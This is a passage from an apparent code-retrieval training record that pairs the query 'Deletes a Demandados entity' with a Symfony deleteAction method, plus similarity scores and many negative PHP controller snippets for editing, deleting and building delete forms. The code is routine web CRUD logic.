));\n }", "public function edit($id)\n {\n //Autenticação caso não tenha permissão para visualizar os cadastros \n if(Gate::denies('cadastro-view')){\n abort(403,\"Não autorizado!\");\n }\n if(Gate::denies('setor-edit')){\n abort(403,\"Não autorizado!\");\n }\n\n //Faz a consulta pesquisando pelo id\n $setor = Setor::find($id);\n\n //Monta o breadcrumb\n $caminhos = [\n ['url'=>'','titulo'=>'Cadastro'],\n ['url'=>route('setores.index'),'titulo'=>'Setores'],\n ['url'=>'','titulo'=>'Formulário']\n ];\n\n return view('site.setores.editar', compact('setor', 'caminhos'));\n }", "public function edit($ID_No)\n {\n \n $department = DepmCmp::findOrFail($ID_No);\n $companies = HRMainCmpnam::get(); // الشركات\n return view('hr.settings.departments.edit',compact('department','companies'));\n }", "public function edit(Finca $finca)\n { \n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('UpaoFundoBundle:Cosecha')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Cosecha entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('UpaoFundoBundle:Cosecha:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit(Empleado $empleado)\n {\n //\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n $entity = $em->getRepository('CrestaAulasBundle:Aula')->find($id);\n if (!$entity) {\n throw $this->createNotFoundException('No se puede encontrar la entidad Aula.');\n }\n \n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n return $this->render('CrestaAulasBundle:Aula:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }" ]
[ "0.7143608", "0.70364624", "0.70166326", "0.701393", "0.69756544", "0.69597656", "0.6932372", "0.6931402", "0.6926542", "0.6909292", "0.68959594", "0.68772626", "0.686258", "0.68585944", "0.68527985", "0.68400043", "0.68315613", "0.68253434", "0.6812681", "0.68047094", "0.67889655", "0.67710996", "0.6732603", "0.6721295", "0.6719044", "0.6716832", "0.6711913", "0.6682351", "0.66700953", "0.66695225", "0.6666655", "0.66532457", "0.66483927", "0.6641715", "0.6634836", "0.6633251", "0.6631892", "0.66310877", "0.66237277", "0.66150725", "0.66149193", "0.66147816", "0.66096157", "0.6607526", "0.6605791", "0.660461", "0.6600227", "0.6598421", "0.6592988", "0.6591292", "0.6583932", "0.65838915", "0.6583577", "0.6578773", "0.6574367", "0.6571808", "0.6571367", "0.6568825", "0.65652114", "0.6563992", "0.6562435", "0.6550563", "0.6550563", "0.6547159", "0.6546793", "0.6546451", "0.6541763", "0.65407485", "0.65384823", "0.6536555", "0.65348685", "0.65306515", "0.65258574", "0.65210885", "0.6517501", "0.6515272", "0.6511447", "0.6510153", "0.6509165", "0.65071744", "0.6505461", "0.650482", "0.6503888", "0.65005386", "0.6498623", "0.6498132", "0.64965904", "0.64960223", "0.64922816", "0.6490778", "0.64906925", "0.6489074", "0.6488443", "0.64859354", "0.6481002", "0.6479454", "0.6478267", "0.64731723", "0.6472965", "0.64728683" ]
0.70991683
1
Deletes a Demandados entity.
public function deleteAction(Request $request, Demandados $demandado) { $form = $this->createDeleteForm($demandado); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { $em = $this->getDoctrine()->getManager(); $em->remove($demandado); $em->flush(); } return $this->redirectToRoute('demandados_index'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete()\n {\n DB::transaction(function () {\n $this->devedores()->delete();\n parent::delete();\n });\n }", "public static function destroyEstudiante($idEstu)\n{\n $estudiante = Estudiante::find($idEstu);\n $estudiante->delete();\n}", "public function delete(DimeEntityInterface $entity);", "public function delete($entity);", "public function delete(DataObject $entity){\n }", "public function delete($entity)\n {\n \n }", "public function delete () {\n $this->db->delete('emprestimos', array('id_emprestimo' => $this->id_emprestimo));\n }", "public function deleteEntidad(){\n $conexion = new Database();\n\t\tif ($this->codigo){\n $sql = sprintf('DELETE FROM agenda_entidades WHERE entidad_id = %d',\n $this->codigo);\n $conexion->exec( $sql );\n }\n }", "public function deleting(Seguimiento $Seguimiento){\n \n }", "public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }", "public function delete($entity){ \n //TODO: Implement remove record.\n }", "private function createDeleteForm(Demandados $demandado)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('demandados_delete', array('id' => $demandado->getIdDemandado())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "public function destroy(Estudiante $estudiante)\n {\n //\n }", "public function Delete($entity) {\n }", "public function delete()\n {\n $entities = $this->entities;\n Database::getInstance()->doTransaction(\n function() use ($entities)\n {\n foreach ($entities as $entity)\n {\n $entity->delete();\n }\n }\n );\n }", "public function destroy(Contratos $contratos)\n {\n //\n }", "public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }", "protected function entityDelete(){\n // TODO: deal with errors\n // delete from api\n $deleted = $this->resourceService()->delete($this->getId());\n }", "public function test_user_can_delete_despesa()\n {\n // Prepare User Login\n\n // $user = User::factory()->create();\n \n // $credentials = [\n // 'email' => $user->email,\n // 'password' => 'password'\n // ];\n\n // $this->post(route('auth.user'), $credentials);\n\n\n // Create Post\n\n // $Despesa = Despesas::factory()->create();\n // $DespesaId = $Despesa->id;\n\n // $data = $Despesa->only(['descricao', 'valor', 'id_usuario']);\n\n // Despesas::create($data);\n\n // $this->post(route('new-post'), $data);\n\n // $response = $this->get( route('del-post', ['id' => $DespesaId]) );\n\n // $response->assertStatus(200);\n }", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }", "final public function delete() {\n global $config; \n # Borrar el elemento de la base de datos\n $this->db->query(\"DELETE FROM guarderia_2 WHERE id_guarderia = $this->id\");\n # Redireccionar a la página principal del controlador\n $this->functions->redir($config['site']['url'] . 'sedes/&success=true');\n }", "public function destroy(Medicament $medicament)\n {\n //\n }", "public function destroy($id_cliente){}", "public function delete()\n {\n // If deposit is existing, will get database ID removed.\n $this->dbID = $this->db->deleteDeposit($this);\n }", "public function destroy(DatosActualizados $datosActualizados)\n {\n //\n }", "public function testDebtorDelete()\n {\n $oDebtorDAO = new DebtorDAO();\n $oDebtor = $oDebtorDAO->findByCpfCnpj('01234567890');\n\n $this->assertTrue(!is_null($oDebtor->getId()));\n\n $oDebtor->delete();\n\n $oDebtor = $oDebtorDAO->findByCpfCnpj('01234567890');\n $this->assertFalse(!is_null($oDebtor->getId()));\n }", "public function delete()\n {\n $this->_validateModifiable();\n\n $this->_getDataSource()->delete($this);\n }", "public function delete()\n {\n $this->administrador()->delete();\n $this->vendedor()->delete();\n return parent::delete();\n }", "public function delete(Request $request)\n {\n $medicamento = Medicamento::findOrFail($request->id);\n $medicamento->delete();\n }", "public function destroy(Detallepagos $detallepagos)\n {\n //\n }", "public function delete($Enterprise) { ; }", "public function delete()\n {\n Db::getInstance()->delete($this->getTableName(), ['id' => $this->getId()]);\n }", "public function delete(){\n\t\t$sql = new Sql();\n\t\t$sql->query(\"DELETE FROM TB_USUARIOS WHERE idusuario=:ID\", array(\n\t\t\t':ID'=>$this->getIdusuario()\n\t\t));\n\n\t\t$this->setIdusuario(null);\n\t\t$this->setDeslogin(null);\n\t\t$this->setDessenha(null);\n\t\t$this->setDtcadastro(new DateTime());\n\t}", "public function destroy(EstabelecimentoSaude $estabelecimentoSaude)\n {\n //\n }", "public function Eliminar(){\n\t\t\t$enlace = AccesoBD::Conexion();\n\n\t\t\t$sql = \"DELETE FROM denuncia WHERE ID_DENUNCIA = '$this->idDenuncia'\";\n\n\t\t\tif ($enlace->query($sql) !== TRUE) {\n \t\t\techo \"Error al eliminar la denuncia\";\n \t\t\texit();\n\t\t\t}\n\t\t\techo \"Denuncia eliminada\";\n\t\t}", "function delete() {\n\t\t$sql = \"DELETE FROM cost_detail\n\t\t\t\tWHERE cd_fr_id=?, cd_seq=?\";\n\t\t$this->ffm->query($sql, array($this->cd_fr_id, $this->cd_seq));\n\t}", "public function delete($entity) : bool;", "public function destroy(mantenimientos $mantenimientos)\n {\n //\n }", "public function destroy(Depense $depense)\n {\n //\n }", "public function deleteAction() {\n $post_data = $request = $this->getRequest()->getPost();\n\n $mapper = new Application_Model_DistractionMapper();\n $anzDeletedRows = $mapper->delete($post_data['id']);\n\n $this->view->success = ($anzDeletedRows > 0);\n }", "public function destroy($id_pedido_fact)\n {\n \n $pedidos = pedidos::findOrFail($id_pedido_fact);\n \n $pedido_detalle = detalle_pedido::where('pedido_factura_id_pedido_fact', '=', $id_pedido_fact);\n\n\n//dd($pedido_detalle);\n $pedido_detalle->delete();\n $pedidos->delete();\n return Redirect::to('pedido');\n }", "public function destroy($incidencia)\n {\n //\n Incidencies::find($incidencia)->delete();\n }", "public function delete($proveedor);", "function Delete($de_cod_denuncia){\n\t\t$Conexion = floopets_BD::Connect();\n\t\t$Conexion->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n\n\n\t\t//Crear el query que vamos a realizar\n\t\t$consulta = \"DELETE FROM denuncia WHERE de_cod_denuncia =?\" ;\n\n\t\t$query = $Conexion->prepare($consulta);\n\t\t$query->execute(array($de_cod_denuncia));\n\n\t\tfloopets_BD::Disconnect();\n\t}", "public function Deletar(){\n \n $idFrota = $_GET['id'];\n \n $frota = new Frota();\n \n $frota->id = $idFrota ;\n \n $frota::Delete($frota);\n \n }", "public function delete()\n\n {\n Sales::find($this->deleteId)->delete();\n session()->flash('message', 'Sale Deleted Successfully.');\n\n }", "public function delete() {\n\t\t$this->deleted = true;\n\t}", "public function delete(IndexableEntity $entity);", "public function destroy($departements)\n {\n $da=Departements::find($departements);\n $da->delete();\n return redirect('departement'); \n }", "public function deleteAction($id) {\n $em = $this->get('doctrine')->getManager('die');\n $entity = $em->getRepository('AeagDieBundle:Demande')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Demande entity.');\n }\n\n $demande = clone($entity);\n $em->remove($entity);\n $em->flush();\n\n $this->get('session')->getFlashBag()->add('notice-success', 'La demande n° ' . $demande->getId() . ' a été supprimée.');\n\n return $this->redirect($this->generateUrl('demande'));\n }", "public function delete()\n {\n // TODO: Implement delete() method.\n }", "public function delete()\n {\n $this->repository->delete($this->id);\n }", "public function delete($entity) {\n $this->deleteRecord([\n 'id' => $entity->getId(),\n ]);\n }", "public function destroy(Candidatos $candidatos)\n {\n //\n }", "public function deletelandmarkAction(){\n $id_property = intval($this->_getParam(\"id\"));\n\n /* Initialize the delete form*/\n $form_delete = new library_forms_Delete;\n $this->view->formDelete = $form_delete;\n if ($this->getRequest()->isPost() && $form_delete->isValid($_POST)) {\n //Delete the landmark\n $model_landmark = new library_models_landmark;\n $model_landmark->delete('landmarkId = '.$id_property);\n //Report the success of the property deletion to the view\n $this->_flashMessenger->addMessage(\"The landmark has been deleted successfully\");\n $this->_helper->getHelper('Redirector')->gotoUrl(Zend_Registry::get('ROOTURL').\"index/manage\"); \n } \n }", "public function delete($id_materi);", "public function destroy($id)\n {\n $estado=$this->estadoHerramienta->findOrFail($id);\n \n $estado->delete();\n\n }", "public function deleteAction(Request $request, Actualites $actualite)\r\n {\r\n $form = $this->createDeleteForm($actualite);\r\n $form->handleRequest($request);\r\n\r\n\r\n if ($form->isSubmitted() && $form->isValid()) {\r\n $em = $this->getDoctrine()->getManager();\r\n $em->remove($actualite);\r\n\r\n\r\n\r\n $em->flush();\r\n }\r\n\r\n return $this->redirectToRoute('actualites_index');\r\n }", "public function delete($objet);", "public function delete_delete(){\n $response = $this->PersonM->delete_person(\n $this->delete('id')\n );\n $this->response($response);\n }", "public function Eliminar()\n {\n $sentenciaSql = \"DELETE FROM \n detalle_orden \n WHERE \n id_detalle_orden = $this->idDetalleOrden\";\n $this->conn->preparar($sentenciaSql);\n $this->conn->ejecutar();\n }", "public function delete()\n\n {\n Customers::find($this->deleteId)->delete();\n session()->flash('message', 'Post Deleted Successfully.');\n\n }", "public function destroy(Request $request)\n {\n $this->authorize('EXCLUIR_TABELAS_SISTEMA');\n $id = $request->input('id');\n\n try {\n $detete = \\DB::table('tipo_entrada')\n ->where('id', $id)\n ->delete();\n\n if($detete)\n {\n\n notify()->flash('Tipo Entrada excluido com sucesso.', 'success');\n\n }else{\n\n notify()->flash('Erro ao excluir Tipo Entrada.');\n\n }\n } catch (\\Exception $exc) {\n if( $exc->getCode() == 23503) {\n\n notify()->flash('Não é permitido excluir Tipo Entrada em uso.', 'danger'); \n\n }else{\n \n notify()->flash('Erro ao excluir Tipo Entrada.', 'danger'); \n }\n } finally {\n return redirect()->action('TipoEntradaController@index'); \n } \n }", "public function delete(){\n //Préparation de la requête\n $sql = \"DELETE FROM atelier WHERE idAtelier = ?\";\n $requete = $this->connectBdd->prepare($sql);\n\n //Execution de la requete\n $requete->execute([$this->getIdAtelier()]);\n\n //Fermeture de la requete\n $requete->closeCursor();// requête delete \n }", "public function delete() {\n global $DB;\n $DB->delete_records($this->get_table_name(), array('id' => $this->id));\n }", "public function deleteAction(Request $request)\n {\n if($request->isXmlHttpRequest()) {\n $detalleId = $request->request->get('detalleId');\n $form = $this->createDeleteForm($detalleId);\n $form->handleRequest($request);\n \n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $entity = $em->getRepository('AppBundle:EntradaDetalles')->find($detalleId);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find EntradaDetalles entity.');\n }\n \n $existenciasManager = $this->get('app.existencias');\n $ejerciciosManager = $this->get('app.ejercicios');\n $ejercicio = $ejerciciosManager->buscarPorAlmacenYPeriodo(null, 'ecs.iva, ecs.tipoInventario', 'HYDRATE_ARRAY'); \n //Inicio de la transaccion\n // $em instanceof EntityManager\n $em->getConnection()->beginTransaction(); // suspend auto-commit\n try {\n $em->remove($entity);\n $existenciasManager->disminuir($entity->getArticulo(), \n $entity->getEntrada()->getPrograma(), \n $entity->getCantidad(), \n $entity->getPrecio(),\n $ejercicio,\n $entity->getAplicaIva()\n );\n $em->flush();\n $em->getConnection()->commit();\n } catch (Exception $e) {\n $em->getConnection()->rollback();\n throw $e;\n }\n //Fin de la transaccion\n $data = array('code' => 200, 'html' => '', 'message' => 'El artículo se eliminó satisfactoriamente');\n \n \n } else {\n $data = array('code' => 500, 'html' => '', 'message' => 'Se encontraron errores al tratar de eliminar el artículo');\n }\n\n \n $response = new JsonResponse($data);\n return $response;\n }\n \n }", "public function delete()\r\n {\r\n $db = Database::getDatabase();\r\n $db->consulta(\"DELETE FROM puesto WHERE idPue = {$this->idPue};\");\r\n }", "public function delete($producto);", "public function delete(Request $request)\n\t{\n\t\t$id = $request -> id;\n\t\t$expence = Expence::find($id);\n\t\t$response = $expence -> delete();\n\t\tif($response)\n\t\t\techo \"Record Deleted successfully.\";\n\t\telse\n\t\t\techo \"There was a problem. Please try again later.\";\n\t}", "public function delete() {\r\n }", "public function delete()\n {\n \n }", "public function delete($tienda);", "public function deleteEntity($entity)\n {\n return $this->model->destroy($entity->id);\n\n }", "public function deleted(Saida $saida)\n {\n //\n }", "public function delete()\n {\n return $this->dao->delete([\"idProducto\" => $this->idProduct]);\n }", "public function actionDeleteDeed() \r\n {\r\n $formData = CJSON::decode(stripslashes($_POST['formData']));\r\n extract($formData);\r\n $res=0;\r\n \r\n $query = \"Delete From `DeedDetails` where `DeedID`='$deedID'\";\r\n $command =Yii::app()->db->createCommand($query);\r\n \r\n if($command->execute()) {\r\n $searchCriteria=new CDbCriteria;\r\n $query = \"Delete From `DeedMaster` where `DeedID`='$deedID'\";\r\n $command =Yii::app()->db->createCommand($query);\r\n\r\n if($command->execute()) $res=1;\r\n \r\n }\r\n print CJSON::encode($res);\r\n }", "public function delete(){\n if (isset($this->content[$this->idField])) {\n\n $sql = \"DELETE FROM {$this->table} WHERE {$this->idField} = {$this->content[$this->idField]};\";\n $delet = new \\AR\\BD\\Delete();\n $delet->ExeDelete($this->table, \"WHERE {$this->idField} = {$this->content[$this->idField]}\", \"\");\n \n }\n }", "public function delete($semillero){\n $id=$semillero->getId();\n\n try {\n $sql =\"DELETE FROM `semillero` WHERE `id`='$id'\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }", "public function delete($entity)\n {\n $statement = \"DELETE FROM contact WHERE id = :id\";\n $prepare = $this->db->prepare($statement);\n $prepare->bindValue(\":id\", $entity->getId());\n $prepare->execute();\n }", "public function deleteAction(Request $request, Estancia $estancium)\n {\n $form = $this->createDeleteForm($estancium);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->remove($estancium);\n $em->flush();\n }\n\n return $this->redirectToRoute('estancia_index');\n }", "public function destroy(Pendaftaran $pendaftaran)\n {\n //\n }", "function procesar_delete ($datos){\n \n $this->dep('datos')->tabla('asignacion')->cargar(array('id_asignacion'=>$this->s__id_asignacion));\n $asignacion=$this->dep('datos')->tabla('asignacion')->get();\n $this->dep('datos')->tabla('asignacion')->eliminar_fila($asignacion['x_dbr_clave']);\n $this->dep('datos')->tabla('asignacion')->sincronizar();\n }", "public function destroy(incidencia $incidencia)\n {\n //\n }", "public function delete()\n {\n //\n }", "public function delete()\n {\n \n }", "public function deleteDiscount();", "public function DeleteSeccion() {\n\t\t\t$this->objSeccion->Delete();\n\t\t}", "public function delete()\n {\n $post['id'] = $this->request->getParameter('id'); // récupérer le paramètre de l'ID\n $this->post->deletePost($post['id']);\n $this->redirect(\"admin\", \"chapters\"); // une fois le post supprimé, je redirige vers la vue chapters\n }", "public function destroy(Request $request,$id)\n {\n //\n $demand = new Demand();\n $demand_no = 'test4';\n $demand_name = 'test4';\n $demand->demand_no = $demand_no;\n $demand->demand_name = $demand_name;\n// print_r($demand->toArray());\n// Log::info('执行'.$cur_serial_value);\n $demand->save();\n Log::info('测试执行执行'.time());\n// return $demand;\n }", "public function delete() {}", "public function delete() {}", "public function delete() {}", "public function delete() {}", "public function destroy(SalleDemandeSalle $salleDemandeSalle)\n {\n //\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }" ]
[ "0.673811", "0.66680884", "0.6651654", "0.65595466", "0.644621", "0.64451575", "0.6435729", "0.6430824", "0.641752", "0.638165", "0.6358806", "0.63401216", "0.6322805", "0.6305275", "0.63033605", "0.62522185", "0.62498784", "0.6240752", "0.623402", "0.62008643", "0.61868656", "0.6165443", "0.61545515", "0.61425984", "0.6131151", "0.6120546", "0.6112654", "0.61120874", "0.6102551", "0.60999364", "0.60962284", "0.60330045", "0.60308", "0.6021985", "0.6020521", "0.60135126", "0.6011826", "0.6011091", "0.5999953", "0.5993743", "0.5991938", "0.5988501", "0.59872323", "0.59870166", "0.5979256", "0.5965697", "0.5961191", "0.595952", "0.59570545", "0.59549725", "0.5953419", "0.5949074", "0.5939093", "0.5938694", "0.5936331", "0.59252214", "0.5924212", "0.5923799", "0.59134936", "0.59057695", "0.59020376", "0.5897323", "0.5895146", "0.5888249", "0.58847344", "0.58841455", "0.5881573", "0.5880074", "0.58778256", "0.5873762", "0.58722574", "0.5861766", "0.58611727", "0.5858237", "0.58524495", "0.5850008", "0.58468914", "0.5836577", "0.5836342", "0.58269024", "0.58261347", "0.58256006", "0.58215564", "0.5813245", "0.58119476", "0.58083665", "0.5808133", "0.58069813", "0.5802323", "0.5799423", "0.5799423", "0.5798149", "0.5797431", "0.5796866", "0.5796827", "0.5796827", "0.5796827", "0.5796827", "0.5796827", "0.5796827" ]
0.6868063
0
Creates a form to delete a Demandados entity.
private function createDeleteForm(Demandados $demandado) { return $this->createFormBuilder() ->setAction($this->generateUrl('demandados_delete', array('id' => $demandado->getIdDemandado()))) ->setMethod('DELETE') ->getForm() ; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function createDeleteForm(Deces $dece)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('deces_delete', array('id' => $dece->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(NomDpa $nomdpa)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('dpa_delete', array('id' => $nomdpa->getIddpa())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(ArmasMedico $armasMedico)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('armasmedico_delete', array('id' => $armasMedico->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Estancia $estancium)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('estancia_delete', array('id' => $estancium->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(DatParteDesvio $datParteDesvio)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('partedesvio_delete', array('id' => $datParteDesvio->getIdparte())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(Plateformes $plateforme)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('administration_plateformes_delete', array('id' => $plateforme->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(Dependencia $dependencium)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('dependencia_delete', array('id' => $dependencium->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(Fratura $fratura)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('fratura_delete', array('id' => $fratura->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(MsvTalonario $msvTalonario)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('msvtalonario_delete', array('id' => $msvTalonario->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(SvCfgDisenio $SvCfgDisenio)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('Svcfgdisenio_delete', array('id' => $SvCfgDisenio->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Aspirante $aspirante)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('aspirante_delete', array('id' => $aspirante->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Examenrealizado $examenrealizado)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('examenrealizado_delete', array('idexamenrealizado' => $examenrealizado->getIdexamenrealizado())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Etablissements $etablissement)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('etablissements_delete', array('id' => $etablissement->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Visita $visitum)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('visita_delete', array('id' => $visitum->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Restricciones $restriccione)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('restricciones_delete', array('id' => $restriccione->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Motricidad $motricidad)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('motricidad_delete', array('idMotricidad' => $motricidad->getIdmotricidad())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(FroFacTransferencia $froFacTransferencium)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('frofactransferencia_delete', array('id' => $froFacTransferencium->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Evennements $evennement)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('evennements_delete', array('id' => $evennement->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Materiel $materiel) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('materieladmin_delete', array('id' => $materiel->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Stammdaten $stammdaten)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('stammdaten_delete', array('id' => $stammdaten->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(ClasseMatiere $classeMatiere)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('class_mat_delete', array('id' => $classeMatiere->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id){\n\t\treturn $this->createFormBuilder()\n\t\t\t->setAction($this->generateUrl('reserva_delete', array('id' => $id)))\n\t\t\t->setMethod('DELETE')\n\t\t\t->add('submit', 'submit', array('label' => 'Eliminar Reserva', 'attr' => array('class'=>'btn btn-danger btn-block')))\n\t\t\t->getForm()\n\t\t;\n\t}", "private function createDeleteForm(Estadosciviles $estadoscivile)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('estadosciviles_delete', array('idEstadocivil' => $estadoscivile->getIdestadocivil())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(CMS $cM)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cms_delete', array('id' => $cM->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Procedencia $procedencia)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('procedencia_delete', array('id' => $procedencia->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(Cargaison $cargaison)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cargaison_delete', array('id' => $cargaison->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Reserva $reserva)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('reserva_delete', array('id' => $reserva->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Tipoanuncio $tipoanuncio)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('tipoanuncio_delete', array('id' => $tipoanuncio->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n \n $form = $this->createFormBuilder(null, array('attr' => array('id' => 'entrada_detalles_eliminar_type')))\n ->setAction('')\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar', 'icon' => 'trash', 'attr' => array('class' => 'btn-danger')))\n ->getForm()\n ;\n \n return $form;\n \n \n }", "private function createDeleteForm(Contabilizar $contabilizar)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('contabilizar_delete', array('id' => $contabilizar->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(TbDepartamento $tbDepartamento)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('adm_departamento_delete', array('id' => $tbDepartamento->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Demandeevenement $demandeevenement)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('demandeevenement_delete', array('iddemandeevenement' => $demandeevenement->getIddemandeevenement())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Acteur $acteur)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('acteur_delete_homepage', array('id' => $acteur->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(Fita $fitum)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cadastro_fita_delete', array('id' => $fitum->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "public function deleteAction(Request $request, Demandados $demandado)\n {\n $form = $this->createDeleteForm($demandado);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->remove($demandado);\n $em->flush();\n }\n\n return $this->redirectToRoute('demandados_index');\n }", "private function createDeleteForm(Frequencia $frequencium)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cadastro_frequencia_delete', array('id' => $frequencium->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Proeflessen $proeflessen)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_proeflessen_delete', array('id' => $proeflessen->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\r\n {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('admin_consulta_delete', array('id' => $id)))\r\n ->setMethod('DELETE')\r\n ->add('submit', 'submit', array('label' => 'Delete'))\r\n ->getForm()\r\n ;\r\n }", "private function createDeleteForm(NatureOp $priorite)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('back_natureop_delete', array('id' => $priorite->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Acte $acte)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('acte_delete', 